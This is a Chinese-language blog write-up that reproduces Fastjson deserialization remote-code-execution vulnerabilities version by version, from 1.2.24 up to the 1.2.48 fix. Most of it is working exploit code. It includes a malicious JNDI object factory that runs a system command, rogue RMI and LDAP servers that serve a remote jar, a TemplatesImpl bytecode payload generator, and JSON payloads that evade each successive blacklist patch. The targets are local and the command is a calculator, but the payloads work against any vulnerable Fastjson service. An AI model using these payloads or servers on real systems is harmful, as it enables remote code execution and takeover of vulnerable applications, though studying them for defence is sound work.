follow my dream

Fastjson 反序列化漏洞复现

字数统计: 4.7k阅读时长: 24 min
2021/03/14 Share

[toc]

Fastjson 反序列化

参考文章

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

FastJson 反序列化学习 (lmxspace.com)

Java Security (iv4n.cc)

Fastjson 反序列化漏洞史 (seebug.org)

Fastjson 流程分析及 RCE 分析 (seebug.org)

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)

攻击Java Web应用 Java Web安全] (zhishihezi.net)

环境搭建

推荐使用IDEA+MAVEN,具体配置可以参考网上其他文章。

Java: 1.8.0_271-b09

JNDI-Reference

from 攻击Java Web应用 Java Web安全] (zhishihezi.net)

使用创建恶意的ObjectFactory对象

ReferenceObjectFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.fe1w0.jndi.injection;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
* 引用对象创建工厂
*/
public class ReferenceObjectFactory implements ObjectFactory {

/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("calc.exe");
}
}

jar 打包为 jndi-test.jar

1
2
3
4
5
6
7
mkdir classes # JavaSec 目录下
javac -d classes .\src\main\java\com\fe1w0\jndi\injection\ReferenceObjectFactory.ja
va
#新建 MANIFEST.MF,并输入以下内容,注意最后加个回车
Main-Class: com.fe1w0.jndi.injection.ReferenceObjectFactory

jar cfm jdni-test.jar .\MANIFEST.MF -C classes . # 最后

python 开启web服务

1
python3 -m http.server 8000

包含恶意攻击的RMI服务端

RMIReferenceServerTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.fe1w0.jndi.injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIReferenceServerTest {
public static final String RMI_HOST = "127.0.0.1";
public static final int RMI_PORT = 9527;
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";

public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://localhost/jndi-test.jar";

// 对象的工厂类名
String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";

// 监听RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);

// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);

// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

// 绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);

System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}

}

RMI 客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.fe1w0.jndi.injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.fe1w0.jndi.injection.RMIReferenceServerTest.RMI_NAME;

public class RMIReferenceClientTest {

public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

InitialContext context = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup(RMI_NAME);

System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}

}

image-20210220113924113

创建恶意的LDAP服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.fe1w0.jndi.injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

public class LDAPReferenceServerTest {

// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;

// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";

// 设置一个实体名称
public static final String LDAP_ENTRY_NAME = "test";

// 获取LDAP服务地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;

// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
public static final String REMOTE_REFERENCE_JAR = "http://localhost/jndi-test.jar";

// 设置LDAP基底DN
private static final String LDAP_BASE = "dc=xzaslxr,dc=xyz";

public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);

// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());

// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

// 启动服务
ds.startListening();

System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);

try {
// 设置对象的工厂类名
String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);

// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);

// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");

result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}

}

}

LDAP客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.fe1w0.jndi.injection;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

import static com.fe1w0.jndi.injection.LDAPReferenceServerTest.LDAP_URL;

public class LDAPReferenceClientTest {

public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

Context ctx = new InitialContext();

// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup(LDAP_URL);

System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}

}

image-20210220114735293

简单Demo (fastjson=1.2.24)

From

Fastjson 反序列化漏洞史 (seebug.org)

FastJson 反序列化学习 (lmxspace.com)

  • User
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.fe1w0.test;

public class User {
private String name; //私有属性,有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,有getter、setter方法
public String address; //公有属性,无getter、setter方法


public User() {
System.out.println("call User default Constructor");
}

public String getName() {
System.out.println("call User getName");
return name;
}

public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}

public int getAge() {
System.out.println("call User getAge");
return age;
}

public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}

public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}

public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}

public void setSex(String sex){
System.out.println("call User setSex");
this.sex = sex;
}
public String getSex(){
System.out.println("call User getSex");
return this.sex;
}

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}

需要注意的是setter、getter 的设置

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

可以见JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

  • TestFastjson
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.fe1w0.test;

import com.alibaba.fastjson.JSON;

public class TestFastjson {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"om.fe1w0.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);

System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");

//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
serializedStr={"@type":"com.fe1w0.test.User","name":"fe1w0","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parse反序列化对象名称:com.fe1w0.test.User
parse反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
call User getAge
call User isFlag
call User getName
call User getSex
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"address":"china","flag":true,"sex":"boy","name":"fe1w0","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------

根据上面输出,可以得到下面以下结论(注意Fastjson版本)

  • JSON.parse(serializedStr)

@type是正确的时候,会根据@type来选择解析,否则解析为JSONObject

  • JSON.parseObject(serializedStr)

解析为JSONObject,但会根据根据@type的解析类生成。若@type是不正确的时候,会直接为JSON字符串

  • JSON.parseObject(serializedStr, Object.class)

@type是正确的时候,会根据@type来选择解析,否则解析为JSONObject

  • JSON.parseObject(serializedStr, User.class)

@type是正确的时候,会根据@type来选择解析,否则会报错type not match

其中底层源代码分析,可以看(具体分析,自己看完还是有点乱😢)

FastJson 反序列化学习 (lmxspace.com)

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

ver<=1.2.24

1.2.24及之前没有任何防御,并且autotype默认开启

com.sun.rowset.JdbcRowSetImpl利用链

payload: (fastjson=1.2.24 java=1.8.0_181)

1
2
3
4
5
6
7
8
9
10
11
12
package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;

public class testJdbcRowSetImpl {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
JSON.parse(payload);
// JSON.parseObject(payload);
// JSON.parseObject(payload,Object.class);
}
}

image-20210220125506946

大致原理

from 攻击Java Web应用 Java Web安全] (zhishihezi.net)

FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE

JdbcRowSetImpl示例:

1
2
3
4
5
6
7
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));
jdbcRowSet.setAutoCommit(true);
%>

假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceNamesetAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:

  1. 反射创建com.sun.rowset.JdbcRowSetImpl对象。
  2. 反射调用setDataSourceName方法,设置JNDIURL
  3. 反射调用setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
  4. 调用lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。
  5. 执行恶意的类对象工厂方法实现RCE。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

payload (fastjson=1.2.24 java=1.8.0_181))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class testTemplatesImpl {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
JSON.parse(payload, Feature.SupportNonPublicField); //成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}

public static class AaAa {

}

public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();

return Base64.encodeBase64String(evilCode);

}
}

image-20210220125446222

漏洞分析可以看

[fastjson 远程反序列化poc的构造和分析 | xxlegend](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)

ver>=1.2.25&ver<=1.2.41

@type添加L;绕过

ver=1.2.24时,添加AutoTypeSupport,默认不允许使用autotype,且加入了采用黑名单和白名单检查型式的checkAutotype函数

  • checkAutotype (ver =1.2.41)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');// 替换
Class<?> clazz = null;
int mask;
String accept;
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}

for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

我们已一开始的testJdbcRowSetImpl进行debug,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.fe1w0.fastjson.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class testJdbcRowSetImpl {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 注意要 setAutoTypeSupport(true)
JSON.parse(payload);
// JSON.parseObject(payload);
// JSON.parseObject(payload,Object.class);
}
}

发现throw发生在以下检查中对黑名单的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}

for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

我们可以将在@type前面添加L;以绕过上面对黑名单的检测,如Lcom.sun.rowset.JdbcRowSetImpl;

因在@type前面添加L;的形式,可以被 TypeUtils.LoadClass处理

1
2
3
4
5
6
7
8
9
10
11
12
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {

image-20210220132951916

Payload

1
payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";

image-20210220133153708

ver=1.2.42

双写L;绕过

大致流程还是和之前一样,多了

1
2
3
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

image-20210220134634906

会将前后L;去掉,并将原来的将黑名单转换成了类名十进制hash

payload

1
payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";

ver=1.2.43

[]形式绕过

1.2.43对于1.2.42的绕过修复方式:

image-20210220135451290

在第一个if条件之下(L开头,;结尾),又加了一个以LL开头的条件,如果第一个条件满足并且以LL开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L;做了特殊处理外,[也被特殊处理了,又再次绕过了checkAutoType:

payload

1
payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:3890/test\",\"autoCommit\":true]}}\n";

ver=1.2.45

绕过黑名单,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

1
payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:3890/test\"}}";

ver=1.2.47

from

Java Security | Iv4n’s Blog

通过缓存,无需开启autotype

1
payload = = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}}";

详细见 FastJson 反序列化学习 (lmxspace.com)

ver=1.2.48

修补: 将cache默认设置为false,无法再利用缓存

CATALOG
  1. 1. Fastjson 反序列化
    1. 1.1. 参考文章
    2. 1.2. 环境搭建
    3. 1.3. JNDI-Reference
      1. 1.3.0.1. 使用创建恶意的ObjectFactory对象
      2. 1.3.0.2. 包含恶意攻击的RMI服务端
      3. 1.3.0.3. RMI 客户端
      4. 1.3.0.4. 创建恶意的LDAP服务
      5. 1.3.0.5. LDAP客户端代码
    4. 1.3.1. 简单Demo (fastjson=1.2.24)
  2. 1.4. ver<=1.2.24
    1. 1.4.1. com.sun.rowset.JdbcRowSetImpl利用链
      1. 1.4.1.1. 大致原理
    2. 1.4.2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
  3. 1.5. ver>=1.2.25&ver<=1.2.41
    1. 1.5.1. @type添加L和;绕过
  4. 1.6. ver=1.2.42
    1. 1.6.1. 双写L和;绕过
  5. 1.7. ver=1.2.43
    1. 1.7.1. []形式绕过
  6. 1.8. ver=1.2.45
  7. 1.9. ver=1.2.47
  8. 1.10. ver=1.2.48